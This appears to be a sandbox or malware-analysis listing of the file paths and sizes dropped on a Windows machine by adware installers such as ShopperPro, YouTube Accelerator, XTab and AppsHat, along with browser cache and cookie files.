C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoThreeWavesBG[1].jpg (1090 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9JF7DA3Z.txt (94 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1F4KG32I.txt (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\easyBurner_logo48[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[1].htm (1056 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\799c97afbeb52f4eabf469c6ed8ad1c0[1].htm (48928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\78F8.tmp (79808 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_628.log_tmp (815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk433C.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4445.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2448_YouTubeAcceleratorService.log_tmp (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk446A.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_628_testlsp.log_tmp (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4420.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3396.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_628_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk429C.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_628_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk431A.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4443.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2448.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4457.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4459.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2408_setup.log_tmp (18 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (230297 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4353.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk433E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4351.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (10 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\$ConvertToNonresident (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4432.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbk4340.tmp (1 bytes)
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBF517.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe (12408 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68A.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\appshat.exe (13996 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\webplayer_installer.exe (8405 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z51SIIPGTV6QB4BFG2AV.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6E5ULPSTC70TD06JH5AI.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y9NS1IKEBM4V82G0XT06.temp (196 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\AccDownload.dll (11359 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35507 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz992.tmp (344291 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\jsdrv.exe (100669 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (45051 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\2.zip (12302 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\1.zip (32315 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\ffsearch_toolbar!1.0.0.1027.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\1[1].zip (186050 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\2[1].zip (47341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\MessageBox.xml (3 bytes)
%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\XTab_4.0.2.1716[1].exe (219594 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\XTab_v4.0.exe (46591 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BPZ3PB95.txt (298 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7KFVGU4R.txt (515 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5QBLHZZ1.txt (287 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MWDNOPUF.txt (307 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\6L5Z50EJ.txt (103 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\77HVLYO6.txt (366 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\80AYVYR4.txt (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HC7A3TV3.txt (637 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UMU0H3CE.txt (96 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\05MHQZN2.txt (119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\19GMN6LJ.txt (542 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\6QAQR876.txt (100 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QQ391TIC.txt (136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UVIEL5XA.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TYRM92ZD.txt (372 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1DXDC258.txt (198 bytes)
C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe (22786 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\analytics[1].js (16891 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\a64a4b5c68c364d30083fbd0b0363585[1].png (25068 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\bbbde9554589bda63791709a6785e0a3[1].png (11355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V20RILHC.txt (225 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\13ca8e322e15bc394d66a37bec12e3b4[1].png (36125 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\d586df222f5069b6c396373d67d0163b[1].png (35968 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\36d7cd00f07003a67021237993257d08[1].png (9538 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (28126 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\52d5414e7372639389ab7e9e4d479aee[1].png (21779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\00c73f6d4e4eb25289dddb86e2d1e319[1].jpg (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\1759703220576e41cab39feb18a11b14[1].png (8158 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\5dbc29649669598ff43174b9ee730008[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ddb3b88cf98eb0220c9e6c252e376749[1].png (14175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0OGBS62I.txt (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\23428f8768d928d2bd45dd3b0c4d0057[1].png (25738 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\btn_bg[1].jpg (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\4f263f4be4c4396c9078d1874c05b928[1].png (5568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\07fce0a4ff78cc7e6376e227f046ce06[1].png (32994 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\b85261679e262228a562f693b3e6ef6f[1].png (30169 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f3ad8b396434c21b4c214fd667ee391d[1].png (2695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\442a5f30204dd385d17de5848683274f[1].png (14803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\0d2eb87d6982e1321cd3e3735ca5ca4c[1].jpg (3264 bytes)
